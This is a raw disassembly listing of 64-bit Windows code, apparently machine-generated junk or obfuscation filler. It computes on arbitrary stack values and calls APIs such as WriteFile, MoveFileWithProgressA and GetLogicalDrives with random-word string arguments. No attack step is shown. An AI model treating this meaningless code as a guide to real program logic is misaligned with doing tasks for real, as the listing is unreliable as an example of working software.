movzx edx, byte [rsp + 0x1522c]
mov rax, qword [rsp + 0x105d0]
movzx ecx, byte [rax]
mov eax, edx
sub eax, ecx
cmp edi, eax
jge 0x1402016df
jmp 0x140201747
mov rax, qword [rsp + 0x1a870]
movzx edi, byte [rax]
mov rax, qword [rsp + 0x12e08]
movzx eax, byte [rax]
add edi, eax
movzx edx, byte [rsp + 0x65c8]
mov rax, qword [rsp + 0x29a80]
movzx ecx, byte [rax]
mov eax, edx
sub eax, ecx
cmp edi, eax
jg 0x140201747
mov rax, qword [rsp + 0x5b28]
mov eax, dword [rax]
mov dword [rsp + 0x20], eax
movzx r9d, word [rsp + 0x13120]
movzx r8d, word [rsp + 0x67d0]
mov rdx, qword [rsp + 0x14a60]
movzx ecx, word [rsp + 0x8218]
call fcn.140055f80
movsx ecx, word [rsp + 0x11564]
mov rax, qword [rsp + 0x18858]
movsx eax, word [rax]
xor ecx, eax
mov rax, qword [rsp + 0x186d8]
mov word [rax], cx
movzx edx, byte [rsp + 0x1522c]
movzx eax, byte [rsp + 0x65c8]
movzx ecx, al
mov eax, edx
shl eax, cl
mov byte [rsp + 0x9ad8], al
lea rcx, [rsp + 0x153c0]
call qword [sym.imp.COMDLG32.dll_PrintDlgExA]
mov dword [rsp + 0x1e358], eax
mov rax, qword [rsp + 0x5b28]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x21b5c]
xor eax, ecx
mov dword [rsp + 0x1e838], eax
jmp 0x1402018d4
movsx edx, word [rsp + 0x1f220]
mov rax, qword [rsp + 0x186d8]
movsx ecx, word [rax]
mov eax, edx
add eax, ecx
mov word [rsp + 0x11564], ax
mov rax, qword [rsp + 0x3588]
mov al, byte [rax]
mov byte [rsp + 0x2d714], al
cmp byte [rsp + 0x2d714], 0x46
je 0x1402018b3
cmp byte [rsp + 0x2d714], 0x49
je 0x140201806
jmp 0x1402018d4
mov rcx, qword [rsp + 0x23188]
mov rcx, qword [rcx]
add rcx, qword [rsp + 0x6598]
mov rax, qword [rsp + 0x19120]
mov qword [rax], rcx
lea rax, [rsp + 0x12870]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x24700]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x19068]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x81e8]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x135f8]
mov r8, qword [rsp + 0x19d0]
mov rdx, qword [rsp + 0x1c518]
mov ecx, 0xa8
call sub.VERSION.dll_VerInstallFileA
mov dword [rsp + 0x166e4], eax
mov rax, qword [rsp + 0x186d8]
movzx r9d, word [rax]
movzx r8d, word [rsp + 0x67d0]
mov rax, qword [rsp + 0x9808]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x22928]
movzx ecx, word [rax]
call fcn.140203290
jmp 0x1402018d4
mov rcx, qword [rsp + 0x275b8]
mov rax, qword [rsp + 0x14a60]
mov rcx, qword [rcx]
or rcx, rax
mov rax, qword [rsp + 0x275b8]
mov qword [rax], rcx
mov rax, qword [rsp + 0x22928]
movzx eax, word [rax]
mov dword [rsp + 0x2d718], eax
cmp dword [rsp + 0x2d718], 0x3d8
je 0x1402018f5
jmp 0x1402018f7
jmp 0x140201954
lea rax, [rsp + 0x12870]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x1c518]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x19068]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x19068]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x19d0]
mov r8, qword [rsp + 0x19d0]
mov rdx, qword [rsp + 0x135f8]
mov ecx, 0xb2
call sub.VERSION.dll_VerInstallFileA
mov dword [rsp + 0x26148], eax
mov rax, qword [rsp + 0x22928]
movzx edi, word [rax]
mov rax, qword [rsp + 0x1f660]
movzx eax, word [rax]
sub edi, eax
movzx edx, word [rsp + 0x13120]
mov rax, qword [rsp + 0x1c578]
movzx ecx, word [rax]
mov eax, edx
and eax, ecx
cmp edi, eax
jl 0x1402019a1
mov rax, qword [rsp + 0x16938]
mov ecx, dword [rsp + 0x19e60]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x225f8], eax
mov rax, qword [rsp + 0x1a870]
movzx ecx, byte [rax]
mov rax, qword [rsp + 0x2a0d8]
movzx eax, byte [rax]
sub ecx, eax
mov rax, qword [rsp + 0x29a80]
mov byte [rax], cl
movsx eax, word [rsp + 0x1f220]
mov dword [rsp + 0x2d71c], eax
cmp dword [rsp + 0x2d71c], 0x7176
je 0x1402019e1
jmp 0x140201a00
movzx ecx, byte [rsp + 0x19cf8]
mov rax, qword [rsp + 0x3708]
movzx eax, byte [rax]
add ecx, eax
mov rax, qword [rsp + 0x105d0]
mov byte [rax], cl
movsx edx, word [rsp + 0x11564]
mov rax, qword [rsp + 0x16b98]
movsx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rsp + 0x1f220], ax
lea rax, [rsp + 0x19330]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x28aa0]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x1f170]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x58f0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x24700]
mov r8, qword [rsp + 0x19068]
lea rdx, str.PalletsWithdrawSmithereenscomparison
mov ecx, 0x70
call sub.VERSION.dll_VerFindFileA
mov dword [rsp + 0x21b5c], eax
mov rax, qword [rsp + 0x264f8]
movsx ecx, byte [rax]
movsx eax, byte [rsp + 0xeb9c]
add ecx, eax
mov rax, qword [rsp + 0x3588]
mov byte [rax], cl
movzx eax, word [rsp + 0x8218]
movzx ecx, word [rsp + 0x13120]
sub eax, ecx
mov word [rsp + 0x67d0], ax
mov rax, qword [rsp + 0x6598]
mov qword [rsp + 0x2d720], rax
movabs rax, 0xda22abce63cdfa0
cmp qword [rsp + 0x2d720], rax
je 0x140201add
jmp 0x140201bd6
lea rax, [rsp + 0x20978]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x67d0]
mov r8d, 0x54
lea rdx, [rsp + 0x1522c]
mov rcx, qword [rsp + 0x5108]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [rsp + 0xa928], eax
mov rax, qword [rsp + 0x3588]
mov al, byte [rax]
mov byte [rsp + 0x2d728], al
cmp byte [rsp + 0x2d728], 0x62
je 0x140201bb5
cmp byte [rsp + 0x2d728], 0x73
je 0x140201b43
jmp 0x140201bd4
mov rax, qword [rsp + 0x3708]
movzx ecx, byte [rax]
movzx eax, byte [rsp + 0x9ad8]
sub ecx, eax
mov rax, qword [rsp + 0x12e08]
mov byte [rax], cl
lea rax, [rsp + 0x1c650]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x12e40]
mov r8d, 0xa2
lea rdx, [rsp + 0x58f0]
mov rcx, qword [rsp + 0x24680]
call qword [sym.imp.KERNEL32.dll_ReadConsoleA]
mov dword [rsp + 0x8e60], eax
movzx eax, byte [rsp + 0x1522c]
movzx ecx, byte [rsp + 0x65c8]
add eax, ecx
mov byte [rsp + 0x19cf8], al
jmp 0x140201bd4
mov rax, qword [rsp + 0x3588]
movsx ecx, byte [rax]
movsx eax, byte [rsp + 0xeb9c]
and ecx, eax
mov rax, qword [rsp + 0x264f8]
mov byte [rax], cl
jmp 0x140201bf2
lea rdx, [rsp + 0x1f170]
mov rcx, qword [rsp + 0x135f8]
call sub.VERSION.dll_GetFileVersionInfoSizeA
mov dword [rsp + 0x2be38], eax
jmp 0x140201c6b
mov rax, qword [rsp + 0x21d38]
mov rcx, qword [rsp + 0x6598]
add rcx, rax
mov rax, qword [rsp + 0x19120]
mov qword [rax], rcx
mov edx, dword [rsp + 0x241a8]
mov rcx, qword [rsp + 0x5108]
call qword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
mov dword [rsp + 0x2e30], eax
mov rcx, qword [rsp + 0x275b8]
mov rcx, qword [rcx]
mov rax, qword [0x140244ef8]
add rax, rcx
mov qword [rsp + 0x14a60], rax
mov rax, qword [rsp + 0x1f660]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x67d0]
add ecx, eax
mov rax, qword [rsp + 0x22928]
mov word [rax], cx
lea rax, [rsp + 0x1522c]
mov qword [rsp + 0x20], rax
mov r9d, 0xb4
mov r8d, 0x85
mov edx, 0x7f
mov rcx, qword [rsp + 0x4ab8]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x2e30], eax
mov rax, qword [rsp + 0x5b28]
mov eax, dword [rax]
mov dword [rsp + 0x2d72c], eax
cmp dword [rsp + 0x2d72c], 0x5d225c4b
je 0x140201dfb
cmp dword [rsp + 0x2d72c], 0x6dfc00aa
je 0x140201cd2
jmp 0x140201e0c
movsx edx, word [rsp + 0x11564]
mov rax, qword [rsp + 0xdb98]
movsx eax, word [rax]
and edx, eax
mov rax, qword [rsp + 0x14a80]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1f220]
add eax, ecx
cmp edx, eax
jle 0x140201dd0
movsx ecx, byte [rsp + 0x18b28]
movsx eax, byte [rsp + 0xeb9c]
xor ecx, eax
mov rax, qword [rsp + 0x3588]
mov byte [rax], cl
mov rcx, qword [rsp + 0x14a60]
mov rax, qword [rsp + 0x275b8]
mov rax, qword [rax]
shl rax, cl
mov qword [0x140244ef8], rax
mov rax, qword [rsp + 0x1c578]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x8218]
add ecx, eax
mov rax, qword [rsp + 0x22928]
mov word [rax], cx
mov rax, qword [rsp + 0x3588]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xf250]
and eax, ecx
mov byte [rsp + 0x18b28], al
lea rax, [rsp + 0x19330]
mov qword [rsp + 0x20], rax
mov r9d, 0x34
lea r8, [rsp + 0x11564]
mov edx, 0xa6
mov rcx, qword [rsp + 0x26d80]
call qword [sym.imp.KERNEL32.dll_QueryInformationJobObject]
mov dword [rsp + 0x2342c], eax
mov rcx, qword [rsp + 0x8f38]
mov rax, qword [rsp + 0x20e58]
mov eax, dword [rax]
mov ecx, dword [rcx]
sub ecx, eax
mov rax, qword [rsp + 0x7010]
mov dword [rax], ecx
jmp 0x140201df9
mov r9, qword [rsp + 0x1aee8]
movzx r8d, byte [rsp + 0xeb9c]
movzx edx, byte [rsp + 0xeb9c]
mov rcx, qword [rsp + 0x19120]
mov rcx, qword [rcx]
call fcn.1400561c0
jmp 0x140201e0c
mov rax, qword [rsp + 0x23568]
mov eax, dword [rax]
mov dword [rsp + 0x19e60], eax
jmp 0x140201ec8
mov rax, qword [0x1402412d0]
mov rdx, qword [rsp + 0x14a60]
sub rdx, rax
mov rcx, qword [rsp + 0x275b8]
mov rcx, qword [rcx]
mov rax, qword [0x140244ef8]
sub rax, rcx
cmp rdx, rax
ja 0x140201e69
mov r9, qword [rsp + 0x23188]
mov r9, qword [r9]
mov rax, qword [rsp + 0x264f8]
movzx r8d, byte [rax]
movzx edx, byte [rsp + 0xf250]
mov rcx, qword [rsp + 0x29528]
call fcn.1400561c0
mov r8d, 0xd2
lea rdx, [rsp + 0x58f0]
lea rcx, str.resubmitted_preliminarily_trimodal_someways_deep
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov dword [rsp + 0x1e838], eax
mov rax, qword [rsp + 0x23568]
mov ecx, dword [rax]
mov rax, qword [rsp + 0x5b28]
add ecx, dword [rax]
mov rax, qword [rsp + 0x16938]
mov dword [rax], ecx
movsx edx, word [rsp + 0x1f220]
mov rax, qword [rsp + 0xdb98]
movsx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rsp + 0x11564], ax
mov rax, qword [rsp + 0x23188]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1aee8]
sub rcx, rax
mov rax, qword [rsp + 0x9750]
mov qword [rax], rcx
jmp 0x140202078
mov rdx, qword [rsp + 0x275b8]
mov rax, qword [rsp + 0x14a60]
mov rdx, qword [rdx]
sub rdx, rax
mov rcx, qword [0x140244ef8]
mov rax, qword [0x1402412d0]
add rax, rcx
cmp rdx, rax
jb 0x140202078
mov rax, qword [rsp + 0x18858]
movsx ecx, word [rax]
mov rax, qword [rsp + 0xdb98]
movsx eax, word [rax]
sub ecx, eax
mov rax, qword [rsp + 0x186d8]
mov word [rax], cx
mov rdx, qword [rsp + 0x19120]
mov rdx, qword [rdx]
mov rax, qword [rsp + 0x9750]
add rdx, qword [rax]
mov rax, qword [rsp + 0x23188]
mov rcx, qword [0x1402412c8]
mov rax, qword [rax]
sub rax, rcx
cmp rdx, rax
jge 0x140201fa7
lea rdx, [rsp + 0x65c8]
lea rcx, str.imprimaturReductions_scenically
call qword [sym.imp.KERNEL32.dll_GetCompressedFileSizeA]
mov dword [rsp + 0x225f8], eax
mov rax, qword [rsp + 0x1d60]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x15368]
add eax, ecx
mov dword [rsp + 0x1e29c], eax
mov rax, qword [rsp + 0x9750]
mov rax, qword [rax]
mov qword [rsp + 0x2d730], rax
movabs rax, 0x30431e941798f467
cmp qword [rsp + 0x2d730], rax
je 0x140201fd0
jmp 0x140201fd2
jmp 0x140201fef
mov rax, qword [0x140244ef8]
mov rcx, qword [rsp + 0x14a60]
and rcx, rax
mov rax, qword [rsp + 0x275b8]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x26918]
call qword [sym.imp.KERNEL32.dll_FindClose]
mov dword [rsp + 0xcdb8], eax
mov rax, qword [rsp + 0x9808]
movzx edx, byte [rax]
movzx eax, byte [rsp + 0x65c8]
movzx ecx, al
mov eax, edx
sar eax, cl
mov byte [rsp + 0x19cf8], al
movzx ecx, word [rsp + 0x13120]
mov rax, qword [rsp + 0x1f660]
movzx eax, word [rax]
or ecx, eax
mov rax, qword [rsp + 0x22928]
mov word [rax], cx
mov dword [rsp + 0x20], 0x39
lea r9, [rsp + 0x1aee8]
lea r8, [rsp + 0x12870]
lea rdx, str.TrouperBookmakingUpholstery
lea rcx, str.Morose_subjunctive_sickle
call qword [sym.imp.KERNEL32.dll_MoveFileWithProgressA]
mov dword [rsp + 0x8e60], eax
mov rax, qword [rsp + 0x275b8]
mov rax, qword [rax]
mov qword [rsp + 0x2d738], rax
movabs rax, 0xe82c1f8cd5fbbfc5
cmp qword [rsp + 0x2d738], rax
je 0x1402020a1
jmp 0x1402020bb
mov rcx, qword [rsp + 0x1aee8]
mov rax, qword [rsp + 0x21d38]
and rax, rcx
mov qword [0x1402412c8], rax
mov rax, qword [rsp + 0x7010]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xe198]
add eax, dword [rcx]
mov dword [rsp + 0x258a4], eax
mov r8d, 0x65
lea rdx, [rsp + 0x58f0]
lea rcx, str.OriginatepitiablyCairnScouts
call qword [sym.imp.KERNEL32.dll_QueryDosDeviceA]
mov dword [rsp + 0x225f8], eax
mov rax, qword [rsp + 0x1c578]
movzx ecx, word [rax]
mov rax, qword [rsp + 0x22928]
movzx eax, word [rax]
add ecx, eax
mov rax, qword [rsp + 0x1f660]
mov word [rax], cx
call fcn.140203170
jmp 0x14020218f
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x19e60], eax
mov rax, qword [rsp + 0x14a80]
movsx edx, word [rax]
movsx eax, word [rsp + 0x11564]
movzx ecx, al
mov eax, edx
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x18858]
mov word [rax], cx
mov rax, qword [rsp + 0x3588]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xeb9c]
xor eax, ecx
mov byte [rsp + 0xf250], al
mov rax, qword [0x1402412d0]
mov rcx, qword [rsp + 0x14a60]
or rcx, rax
mov rax, qword [rsp + 0x275b8]
mov qword [rax], rcx
mov eax, dword [rsp + 0x1e838]
mov edi, dword [rsp + 0x26148]
add edi, eax
mov rdx, qword [rsp + 0x23568]
mov rax, qword [rsp + 0x5b28]
mov ecx, dword [rax]
mov eax, dword [rdx]
sub eax, ecx
cmp edi, eax
jbe 0x140202228
mov al, byte [rsp + 0x19cf8]
mov byte [rsp + 0x2d740], al
cmp byte [rsp + 0x2d740], 0x56
je 0x1402021dd
cmp byte [rsp + 0x2d740], 0xfa
je 0x14020220b
jmp 0x140202228
mov r9, qword [rsp + 0x6598]
movzx r8d, byte [rsp + 0xf250]
mov rax, qword [rsp + 0x264f8]
movzx edx, byte [rax]
mov rcx, qword [rsp + 0x23188]
mov rcx, qword [rcx]
call fcn.1400561c0
jmp 0x140202228
mov rax, qword [rsp + 0x1f660]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x13120]
add eax, ecx
mov word [rsp + 0x67d0], ax
jmp 0x140202328
mov rdx, qword [rsp + 0x23188]
mov rax, qword [rsp + 0x9750]
mov rax, qword [rax]
mov rdx, qword [rdx]
and rdx, rax
mov rcx, qword [rsp + 0x21d38]
mov rax, qword [rsp + 0x6598]
sub rax, rcx
cmp rdx, rax
jne 0x140202281
mov rax, qword [rsp + 0x18858]
movsx ecx, word [rax]
mov rax, qword [rsp + 0x14a80]
movsx eax, word [rax]
or ecx, eax
mov rax, qword [rsp + 0x16b98]
mov word [rax], cx
mov word [rsp + 0x20], 0x91
mov r9d, 0xea
lea r8, [rsp + 0x1690]
mov edx, 0xe7
mov ecx, 0x86
call qword [sym.imp.KERNEL32.dll_GetGeoInfoA]
mov dword [rsp + 0x1c058], eax
mov rax, qword [rsp + 0x105d0]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x9808]
movzx ecx, byte [rax]
mov eax, edx
add eax, ecx
mov byte [rsp + 0x65c8], al
movzx ecx, word [rsp + 0x67d0]
mov rax, qword [rsp + 0x22928]
movzx eax, word [rax]
add ecx, eax
mov rax, qword [rsp + 0xe8a0]
mov word [rax], cx
lea rax, [rsp + 0x11234]
mov qword [rsp + 0x20], rax
mov r9d, 0x42
lea r8, [rsp + 0x6dc]
mov edx, 0xb2
mov rcx, qword [rsp + 0xe40]
call qword [sym.imp.KERNEL32.dll_QueryInformationJobObject]
mov dword [rsp + 0x6dc], eax
call fcn.140203170
lea r8, [rsp + 0x12870]
mov edx, 0x18
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_GetCPInfoExA]
mov dword [rsp + 0x8e60], eax
mov rcx, qword [rsp + 0xe198]
mov rax, qword [rsp + 0x8f38]
mov eax, dword [rax]
mov ecx, dword [rcx]
and ecx, eax
mov rax, qword [rsp + 0x7010]
mov dword [rax], ecx
mov ecx, dword [rsp + 0x15368]
mov eax, dword [rsp + 0x258a4]
sub eax, ecx
mov dword [rsp + 0x1e29c], eax
mov rax, qword [rsp + 0xe1e0]
mov ecx, dword [rax]
add ecx, dword [rsp + 0x225f8]
mov rax, qword [rsp + 0x23568]
mov dword [rax], ecx
mov dword [rsp + 0x20], 0x60
mov r9d, 2
mov r8d, 0x4b
mov edx, 0xbe
mov rcx, qword [rsp + 0x24680]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x3aa8], eax
mov rax, qword [rsp + 0x1f660]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x8218]
sub ecx, eax
mov rax, qword [rsp + 0x1c578]
mov word [rax], cx
mov rcx, qword [rsp + 0x21d38]
mov rax, qword [rsp + 0x29528]
add rax, rcx
mov qword [0x1402412c8], rax
mov rax, qword [rsp + 0x16b98]
movzx r9d, word [rax]
movzx r8d, word [rsp + 0x13120]
mov rax, qword [rsp + 0x3708]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x1f660]
movzx ecx, word [rax]
call fcn.140203290
jmp 0x1402025b1
mov rax, qword [rsp + 0x3588]
movsx edx, byte [rax]
mov rax, qword [rsp + 0x264f8]
movsx eax, byte [rax]
sub edx, eax
movsx eax, byte [rsp + 0xeb9c]
movsx ecx, byte [rsp + 0x18b28]
add eax, ecx
cmp edx, eax
jge 0x140202579
movsx ecx, byte [rsp + 0x18b28]
mov rax, qword [rsp + 0x3588]
movsx eax, byte [rax]
sub ecx, eax
mov rax, qword [rsp + 0x264f8]
mov byte [rax], cl
mov rax, qword [rsp + 0x5b28]
mov eax, dword [rax]
mov dword [rsp + 0x2d744], eax
cmp dword [rsp + 0x2d744], 0x3f333dc7
je 0x14020254e
cmp dword [rsp + 0x2d744], 0xaf86eba6
je 0x1402024bb
jmp 0x140202577
mov rcx, qword [0x140244ef8]
mov rax, qword [rsp + 0x14a60]
sub rax, rcx
mov qword [0x1402412d0], rax
mov ecx, 0x8f
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov qword [rsp + 0x20978], rax
mov rax, qword [rsp + 0x16b98]
movsx ecx, word [rax]
mov rax, qword [rsp + 0x186d8]
movsx eax, word [rax]
add ecx, eax
mov rax, qword [rsp + 0x14a80]
mov word [rax], cx
mov rax, qword [rsp + 0x22928]
movzx edx, word [rax]
movzx eax, word [rsp + 0x8218]
movzx ecx, al
mov eax, edx
shl eax, cl
mov word [rsp + 0x13120], ax
movsx ecx, word [rsp + 0x1f220]
mov rax, qword [rsp + 0xdb98]
movsx eax, word [rax]
or ecx, eax
mov rax, qword [rsp + 0x16b98]
mov word [rax], cx
jmp 0x140202577
mov rax, qword [rsp + 0x16938]
mov r9d, dword [rax]
mov r8d, dword [rsp + 0x11234]
mov edx, dword [rsp + 0x1e838]
mov rax, qword [rsp + 0x8f38]
mov ecx, dword [rax]
call fcn.1400551f0
jmp 0x1402025b1
lea rax, [rsp + 0x23188]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x26d80]
mov r8d, 0xb3
lea rdx, [rsp + 0x14a60]
mov rcx, qword [rsp + 0x26d80]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [rsp + 0x2342c], eax
mov rdx, qword [rsp + 0xe1e0]
mov rax, qword [rsp + 0x5b28]
mov ecx, dword [rax]
mov eax, dword [rdx]
and eax, ecx
mov dword [rsp + 0x1e838], eax
lea r8, [rsp + 0x14a60]
mov edx, 1
mov rcx, qword [rsp + 0x4ab8]
call qword [sym.imp.KERNEL32.dll_SetConsoleWindowInfo]
mov dword [rsp + 0xa928], eax
mov rax, qword [rsp + 0x264f8]
movsx ecx, byte [rax]
movsx eax, byte [rsp + 0xf250]
add ecx, eax
mov rax, qword [rsp + 0x264f8]
mov byte [rax], cl
mov rax, qword [rsp + 0x9750]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x23188]
add rax, qword [rcx]
mov qword [rsp + 0x6598], rax
mov rax, qword [rsp + 0xe1e0]
mov eax, dword [rax]
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x1c578]
movzx r9d, word [rax]
mov rax, qword [rsp + 0xe8a0]
movzx r8d, word [rax]
mov rdx, qword [rsp + 0x14a60]
movzx ecx, word [rsp + 0x8218]
call fcn.140055f80
mov al, byte [rsp + 0x9ad8]
mov byte [rsp + 0x2d748], al
cmp byte [rsp + 0x2d748], 0x38
je 0x140202682
jmp 0x140202684
jmp 0x1402026a5
mov rax, qword [rsp + 0x3588]
movsx edx, byte [rax]
mov rax, qword [rsp + 0x264f8]
movsx ecx, byte [rax]
mov eax, edx
add eax, ecx
mov byte [rsp + 0xf250], al
mov rax, qword [rsp + 0x29a80]
movzx edx, byte [rax]
movzx eax, byte [rsp + 0x65c8]
movzx ecx, al
mov eax, edx
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x105d0]
mov byte [rax], cl
mov rax, qword [rsp + 0x3588]
movsx edx, byte [rax]
mov rax, qword [rsp + 0x264f8]
movsx eax, byte [rax]
and edx, eax
movsx eax, byte [rsp + 0x18b28]
movsx ecx, byte [rsp + 0xf250]
sub eax, ecx
cmp edx, eax
je 0x140202792
xor edx, edx
mov rcx, qword [rsp + 0xe40]
call qword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
mov dword [rsp + 0x24af8], eax
movsx edx, word [rsp + 0x11564]
mov rax, qword [rsp + 0xdb98]
movsx ecx, word [rax]
mov eax, edx
add eax, ecx
mov word [rsp + 0x1f220], ax
mov rax, qword [rsp + 0x1f660]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x8218]
and ecx, eax
mov rax, qword [rsp + 0x1c578]
mov word [rax], cx
mov rax, qword [rsp + 0xe1e0]
mov eax, dword [rax]
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x1f660]
movzx r9d, word [rax]
mov rax, qword [rsp + 0xe8a0]
movzx r8d, word [rax]
mov rdx, qword [0x140244ef8]
mov rax, qword [rsp + 0xe8a0]
movzx ecx, word [rax]
call fcn.140055f80
jmp 0x1402027d3
mov r8d, 0x32
lea rdx, [rsp + 0x2ba0]
lea rcx, str.PainEnrichMarketer
call qword [sym.imp.KERNEL32.dll_GetVolumePathNameA]
mov dword [rsp + 0x10b58], eax
mov rax, qword [rsp + 0x3588]
movsx ecx, byte [rax]
movsx eax, byte [rsp + 0x18b28]
add ecx, eax
mov rax, qword [rsp + 0x264f8]
mov byte [rax], cl
mov rcx, qword [rsp + 0x5b28]
mov rax, qword [rsp + 0x16938]
mov eax, dword [rax]
mov ecx, dword [rcx]
sub ecx, eax
mov rax, qword [rsp + 0x5b28]
mov dword [rax], ecx
jmp 0x140202828
mov rcx, qword [rsp + 0x28aa0]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
mov dword [rsp + 0x295e8], eax
mov rcx, qword [rsp + 0x9750]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x6598]
add rax, rcx
mov qword [rsp + 0x21d38], rax
movsx edx, byte [rsp + 0xf250]
mov rax, qword [rsp + 0x3588]
movsx ecx, byte [rax]
mov eax, edx
or eax, ecx
mov byte [rsp + 0x18b28], al
lea rdx, [rsp + 0x1c650]
mov rcx, qword [rsp + 0x17a8]
call qword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
mov dword [rsp + 0x20000], eax
movsx edi, word [rsp + 0x11564]
mov rax, qword [rsp + 0xdb98]
movsx eax, word [rax]
movzx ecx, al
sar edi, cl
mov rax, qword [rsp + 0x186d8]
movsx edx, word [rax]
mov rax, qword [rsp + 0x14a80]
movsx ecx, word [rax]
mov eax, edx
xor eax, ecx
cmp edi, eax
je 0x1402028bf
mov rax, qword [rsp + 0x264f8]
movsx ecx, byte [rax]
movsx eax, byte [rsp + 0x18b28]
add ecx, eax
mov rax, qword [rsp + 0x3588]
mov byte [rax], cl
call fcn.140203170
jmp 0x140202907
mov rcx, qword [rsp + 0x5b28]
mov eax, dword [rsp + 0x26148]
mov edx, dword [rcx]
and edx, eax
mov ecx, dword [rsp + 0x1e838]
mov eax, dword [rsp + 0x225f8]
add eax, ecx
cmp edx, eax
jne 0x140202907
mov rax, qword [rsp + 0x1a870]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x9808]
movzx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rsp + 0x1522c], al
mov rax, qword [rsp + 0x8f38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x68c8]
sub ecx, eax
mov rax, qword [rsp + 0x20e58]
mov dword [rax], ecx
jmp 0x140202a42
mov rax, qword [rsp + 0x23568]
mov eax, dword [rax]
mov edx, dword [rsp + 0x1e838]
sub edx, eax
mov rax, qword [rsp + 0x16938]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x5b28]
add eax, dword [rcx]
cmp edx, eax
je 0x140202a42
mov rax, qword [rsp + 0x23568]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x16938]
add eax, dword [rcx]
mov dword [rsp + 0x225f8], eax
lea rdx, str.shrubbery_Marauding_ninths_weaklings_tendrils
lea rcx, [rsp + 0x1910]
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
mov dword [rsp + 0x11234], eax
mov al, byte [rsp + 0xf250]
mov byte [rsp + 0x2d74c], al
cmp byte [rsp + 0x2d74c], 0x36
je 0x140202a1b
cmp byte [rsp + 0x2d74c], 0x62
je 0x1402029b6
jmp 0x140202a42
movzx ecx, word [rsp + 0x67d0]
movzx eax, word [rsp + 0x8218]
add ecx, eax
mov rax, qword [rsp + 0xe8a0]
mov word [rax], cx
mov rax, qword [rsp + 0x2a0d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1522c]
add eax, ecx
mov byte [rsp + 0x65c8], al
movzx r9d, word [rsp + 0x11564]
movzx r8d, word [rsp + 0x13120]
mov rax, qword [rsp + 0x2a0d8]
movzx edx, byte [rax]
movzx ecx, word [rsp + 0x67d0]
call fcn.140203290
jmp 0x140202a42
mov rax, qword [rsp + 0xdb98]
movsx edx, word [rax]
movsx eax, word [rsp + 0x11564]
movzx ecx, al
mov eax, edx
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0xdb98]
mov word [rax], cx
mov rax, qword [rsp + 0xe8a0]
movzx edx, word [rax]
mov rax, qword [rsp + 0x1f660]
movzx eax, word [rax]
and edx, eax
movzx eax, word [rsp + 0x13120]
movzx ecx, word [rsp + 0x8218]
sub eax, ecx
cmp edx, eax
je 0x140202a9d
mov rax, qword [rsp + 0xdb98]
movzx r9d, word [rax]
movzx r8d, word [rsp + 0x13120]
movzx edx, byte [rsp + 0x65c8]
mov rax, qword [rsp + 0x1c578]
movzx ecx, word [rax]
call fcn.140203290
mov rdx, qword [rsp + 0x23568]
mov rax, qword [rsp + 0x5b28]
mov ecx, dword [rax]
mov eax, dword [rdx]
and eax, ecx
mov dword [rsp + 0x225f8], eax
mov rcx, qword [rsp + 0x23188]
mov rax, qword [rsp + 0x19120]
mov rax, qword [rax]
mov rcx, qword [rcx]
sub rcx, rax
mov rax, qword [rsp + 0x9750]
mov qword [rax], rcx
jmp 0x140202b2c
mov rax, qword [rsp + 0xe198]
mov ecx, dword [rax]
add ecx, dword [rsp + 0x1c058]
